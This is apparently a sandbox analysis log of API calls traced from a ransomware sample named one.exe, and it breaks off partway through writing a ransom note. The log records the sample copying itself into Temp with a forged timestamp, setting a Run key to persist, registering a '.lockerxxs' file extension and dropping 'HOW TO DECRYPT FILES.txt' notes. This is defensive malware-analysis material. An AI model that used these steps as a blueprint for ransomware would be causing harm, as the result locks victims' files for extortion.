# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 29.12.2020 18:24:24.347 Process: id = "1" image_name = "one.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\one.exe" page_root = "0x1f880000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\one.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb60 [0056.945] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76d30000 [0056.946] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0056.946] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0056.946] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileA") returned 0x76d658e5 [0056.946] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileA") returned 0x76d453c6 [0056.946] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileA") returned 0x76d4e2ce [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileA") returned 0x76d6d53e [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="FindResourceA") returned 0x76d5e9bb [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="FreeResource") returned 0x76d5d3db [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineA") returned 0x76d451a1 [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableA") returned 0x76d433a0 [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesA") returned 0x76d45414 [0056.947] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSize") returned 0x76d4196e [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileTime") returned 0x76d44407 [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameA") returned 0x76d414b1 [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetTempPathA") returned 0x76d6276c [0056.948] GetProcAddress (hModule=0x76d30000, lpProcName="GetWindowsDirectoryA") returned 0x76d62b0a [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalFree") returned 0x76d45558 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="LoadResource") returned 0x76d4594c [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="LockResource") returned 0x76d45959 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileA") returned 0x76dbd911 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="RtlMoveMemory") returned 0x77ca3c40 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0056.949] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileTime") returned 0x76d5ecbb [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="SizeofResource") returned 0x76d45ac9 [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatA") returned 0x76d62b7a [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpA") returned 0x76d5eceb [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiA") returned 0x76d43e8e [0056.950] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyA") returned 0x76d62a9d [0056.950] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0056.950] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExA") returned 0x77721469 [0056.950] GetProcAddress (hModule=0x77710000, lpProcName="CryptCreateHash") returned 0x7771df4e [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyHash") returned 0x7771df66 [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="CryptGetHashParam") returned 0x7771df7e [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExA") returned 0x777214b3 [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="RegDeleteKeyA") returned 0x7773a8b7 [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextA") returned 0x777191dd [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0056.951] GetProcAddress (hModule=0x77710000, lpProcName="CryptHashData") returned 0x7771df36 [0056.951] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x755f0000 [0056.952] GetProcAddress (hModule=0x755f0000, lpProcName="InitCommonControls") returned 0x755f1739 [0056.952] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x770a0000 [0056.952] GetProcAddress (hModule=0x770a0000, lpProcName="CreateFontIndirectA") returned 0x770bcffd [0056.952] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x759d0000 [0056.952] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteA") returned 0x75c17078 [0056.952] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathA") returned 0x75c1fb26 [0056.952] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x772f0000 [0056.952] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindFileNameA") returned 0x773000aa [0056.952] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindExtensionA") returned 0x7731eced [0056.952] GetProcAddress (hModule=0x772f0000, lpProcName="PathAddBackslashA") returned 0x772fcf33 [0056.953] GetProcAddress (hModule=0x772f0000, lpProcName="PathMatchSpecA") returned 0x7732af13 [0056.953] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77130000 [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="RegisterClassExA") returned 0x7714db98 [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageA") returned 0x77155f74 [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="SendMessageA") returned 0x7715612e [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="LoadCursorA") returned 0x7714dad5 [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="GetMessageA") returned 0x77147bd3 [0056.953] GetProcAddress (hModule=0x77130000, lpProcName="GetDlgItemTextA") returned 0x771a6b36 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="EndPaint") returned 0x77151341 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoA") returned 0x77156c30 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="TranslateMessage") returned 0x77147809 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="UpdateWindow") returned 0x77153559 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxA") returned 0x7719fd1e [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="DispatchMessageA") returned 0x77147bbb [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="DefWindowProcA") returned 0x77c824e0 [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="CreateWindowExA") returned 0x7714d22e [0056.954] GetProcAddress (hModule=0x77130000, lpProcName="BeginPaint") returned 0x77151361 [0056.954] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0056.964] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0056.965] GetProcessHeap () returned 0x4e0000 [0056.965] FindResourceA (hModule=0x0, lpName=0xe, lpType=0x2) returned 0x41b0a0 [0056.965] SizeofResource (hModule=0x0, hResInfo=0x41b0a0) returned 0x5dd [0056.965] LoadResource (hModule=0x0, hResInfo=0x41b0a0) returned 0x4082e4 [0056.965] LockResource (hResData=0x4082e4) returned 0x4082e4 [0056.965] RtlMoveMemory (in: Destination=0x406db9, Source=0x4082e4, Length=0x10 | out: Destination=0x406db9) [0056.966] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x244) returned 0x4f48b0 [0056.966] RtlMoveMemory (in: Destination=0x4f48b0, Source=0x4082f8, Length=0x244 | out: Destination=0x4f48b0) [0056.966] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x32e) returned 0x4f4b00 [0056.966] RtlMoveMemory (in: Destination=0x4f4b00, Source=0x408540, Length=0x32e | out: Destination=0x4f4b00) [0056.966] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xa) returned 0x4ef0a0 [0056.966] RtlMoveMemory (in: Destination=0x4ef0a0, Source=0x408872, Length=0xa | out: Destination=0x4ef0a0) [0056.966] RtlMoveMemory (in: Destination=0x406dc9, Source=0x40887c, Length=0x10 | out: Destination=0x406dc9) [0056.966] RtlMoveMemory (in: Destination=0x407529, Source=0x40888c, Length=0x5 | out: Destination=0x407529) [0056.966] RtlMoveMemory (in: Destination=0x406dd9, Source=0x408891, Length=0x10 | out: Destination=0x406dd9) [0056.966] RtlMoveMemory (in: Destination=0x406de9, Source=0x4088a1, Length=0x10 | out: Destination=0x406de9) [0056.966] RtlMoveMemory (in: Destination=0x407525, Source=0x4088b1, Length=0x4 | out: Destination=0x407525) [0056.966] RtlMoveMemory (in: Destination=0x4065a5, Source=0x4088b5, Length=0x4 | out: Destination=0x4065a5) [0056.966] RtlMoveMemory (in: Destination=0x4065a9, Source=0x4088b9, Length=0x4 | out: Destination=0x4065a9) [0056.966] RtlMoveMemory (in: Destination=0x4065ad, Source=0x4088bd, Length=0x4 | out: Destination=0x4065ad) [0056.966] FreeResource (hResData=0x4082e4) returned 0 [0056.966] GetTempPathA (in: nBufferLength=0x200, lpBuffer=0x404e50 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0056.974] lstrcpyA (in: lpString1=0x405950, lpString2="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\" [0056.974] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x405450, nSize=0x500 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\one.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\one.exe")) returned 0x2d [0056.974] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x196830) returned 0x1d00020 [0056.975] GetWindowsDirectoryA (in: lpBuffer=0x40755e, uSize=0x200 | out: lpBuffer="C:\\Windows") returned 0xa [0056.975] PathAddBackslashA (in: pszPath="C:\\Windows" | out: pszPath="C:\\Windows\\") returned="" [0056.976] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="explorer.exe" | out: lpString1="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0056.976] CreateFileA (lpFileName="C:\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x74 [0056.976] GetFileTime (in: hFile=0x74, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556 | out: lpCreationTime=0x407546*(dwLowDateTime=0x90cd4312, dwHighDateTime=0x1cb892b), lpLastAccessTime=0x40754e*(dwLowDateTime=0x90cd4312, dwHighDateTime=0x1cb892b), lpLastWriteTime=0x407556*(dwLowDateTime=0x90d6c893, dwHighDateTime=0x1cb892b)) returned 1 [0056.976] CloseHandle (hObject=0x74) returned 1 [0056.976] lstrcatA (in: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpString2="yQt5364u5kCBxNU" | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU" [0056.976] lstrcatA (in: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU", lpString2=".exe" | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe" [0056.976] CopyFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\one.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\one.exe"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\yqt5364u5kcbxnu.exe"), bFailIfExists=1) returned 1 [0056.990] CreateFileA (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\yqt5364u5kcbxnu.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78 [0056.990] SetFileTime (hFile=0x78, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0056.990] CloseHandle (hObject=0x78) returned 1 [0056.990] RegCreateKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass="REG_SZ", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18ff6c, lpdwDisposition=0x18ff70 | out: phkResult=0x18ff6c*=0x78, lpdwDisposition=0x18ff70*=0x2) returned 0x0 [0056.991] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned 56 [0056.991] RegSetValueExA (in: hKey=0x78, lpValueName="Alcmeter", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", cbData=0x38 | out: lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned 0x0 [0056.992] RegCloseKey (hKey=0x78) returned 0x0 [0056.992] lstrcpyA (in: lpString1=0x4065b9, lpString2="." | out: lpString1=".") returned="." [0056.992] lstrcatA (in: lpString1=".", lpString2="lockerxxs" | out: lpString1=".lockerxxs") returned=".lockerxxs" [0056.993] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey=".lockerxxs", Reserved=0x0, lpClass="REG_SZ", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18ff68, lpdwDisposition=0x18ff6c | out: phkResult=0x18ff68*=0x7e, lpdwDisposition=0x18ff6c*=0x1) returned 0x0 [0056.995] lstrlenA (lpString="SBBOBDABCTPJENQ") returned 15 [0056.995] RegSetValueExA (in: hKey=0x7e, lpValueName="", Reserved=0x0, dwType=0x1, lpData="SBBOBDABCTPJENQ", cbData=0xf | out: lpData="SBBOBDABCTPJENQ") returned 0x0 [0056.996] RegCloseKey (hKey=0x7e) returned 0x0 [0056.996] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="SBBOBDABCTPJENQ", Reserved=0x0, lpClass="REG_SZ", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18ff68, lpdwDisposition=0x18ff6c | out: phkResult=0x18ff68*=0x76, lpdwDisposition=0x18ff6c*=0x1) returned 0x0 [0056.997] lstrlenA (lpString="CRYPTED!") returned 8 [0056.997] RegSetValueExA (in: hKey=0x76, lpValueName="", Reserved=0x0, dwType=0x1, lpData="CRYPTED!", cbData=0x8 | out: lpData="CRYPTED!") returned 0x0 [0056.998] RegCloseKey (hKey=0x76) returned 0x0 [0056.998] lstrcpyA (in: lpString1=0x4065b9, lpString2="SBBOBDABCTPJENQ" | out: lpString1="SBBOBDABCTPJENQ") returned="SBBOBDABCTPJENQ" [0056.998] lstrcatA (in: lpString1="SBBOBDABCTPJENQ", lpString2="\\DefaultIcon" | out: lpString1="SBBOBDABCTPJENQ\\DefaultIcon") returned="SBBOBDABCTPJENQ\\DefaultIcon" [0056.998] lstrcatA (in: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", lpString2=",0" | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0" [0056.998] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="SBBOBDABCTPJENQ\\DefaultIcon", Reserved=0x0, lpClass="REG_SZ", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18ff68, lpdwDisposition=0x18ff6c | out: phkResult=0x18ff68*=0x7e, lpdwDisposition=0x18ff6c*=0x1) returned 0x0 [0056.999] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0") returned 58 [0056.999] RegSetValueExA (in: hKey=0x7e, lpValueName="", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0", cbData=0x3a | out: lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0") returned 0x0 [0056.999] RegCloseKey (hKey=0x7e) returned 0x0 [0057.000] lstrcpyA (in: lpString1=0x4065b9, lpString2="SBBOBDABCTPJENQ" | out: lpString1="SBBOBDABCTPJENQ") returned="SBBOBDABCTPJENQ" [0057.000] lstrcatA (in: lpString1="SBBOBDABCTPJENQ", lpString2="\\shell\\open\\command" | out: lpString1="SBBOBDABCTPJENQ\\shell\\open\\command") returned="SBBOBDABCTPJENQ\\shell\\open\\command" [0057.000] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe,0") returned 58 [0057.000] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="SBBOBDABCTPJENQ\\shell\\open\\command", Reserved=0x0, lpClass="REG_SZ", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18ff68, lpdwDisposition=0x18ff6c | out: phkResult=0x18ff68*=0x82, lpdwDisposition=0x18ff6c*=0x1) returned 0x0 [0057.001] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned 56 [0057.001] RegSetValueExA (in: hKey=0x82, lpValueName="", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe", cbData=0x38 | out: lpData="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned 0x0 [0057.001] RegCloseKey (hKey=0x82) returned 0x0 [0057.001] SetErrorMode (uMode=0x1) returned 0x0 [0057.001] GetLogicalDrives () returned 0x4 [0057.001] FindFirstFileA (in: lpFileName="C:\\*.*", lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x76d62728, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4f4e38 [0057.002] lstrcmpA (lpString1=".", lpString2="$Recycle.Bin") returned 1 [0057.004] lstrcmpA (lpString1="..", lpString2="$Recycle.Bin") returned 1 [0057.004] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.004] lstrcatA (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0057.004] lstrlenA (lpString="C:\\$Recycle.Bin") returned 15 [0057.004] FindFirstFileA (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e101a0, dwReserved1=0x18fad0, cFileName=".", cAlternateFileName="")) returned 0x4f5028 [0057.005] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x4f5028, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x180000, cFileName="..", cAlternateFileName="")) returned 1 [0057.005] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.005] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x4f5028, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0057.005] lstrcmpA (lpString1=".", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0057.005] lstrcmpA (lpString1="..", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0057.005] PathFindFileNameA (pszPath="C:\\$Recycle.Bin\\*.*") returned="*.*" [0057.005] lstrcatA (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0057.005] lstrlenA (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0057.005] FindFirstFileA (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f5068, dwReserved1=0x4f5063, cFileName=".", cAlternateFileName="")) returned 0x4f6100 [0057.006] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.006] FindNextFileA (in: hFindFile=0x4f6100, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.006] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.006] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.006] FindNextFileA (in: hFindFile=0x4f6100, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0057.006] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.006] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0057.006] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0057.006] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0057.006] PathFindFileNameA (pszPath="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*") returned="*.*" [0057.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0057.006] PathAddBackslashA (in: pszPath="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0057.006] lstrcatA (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0057.006] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0xffffffff [0057.006] CreateFileA (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.007] lstrlenA (lpString="All your personal FILES are now 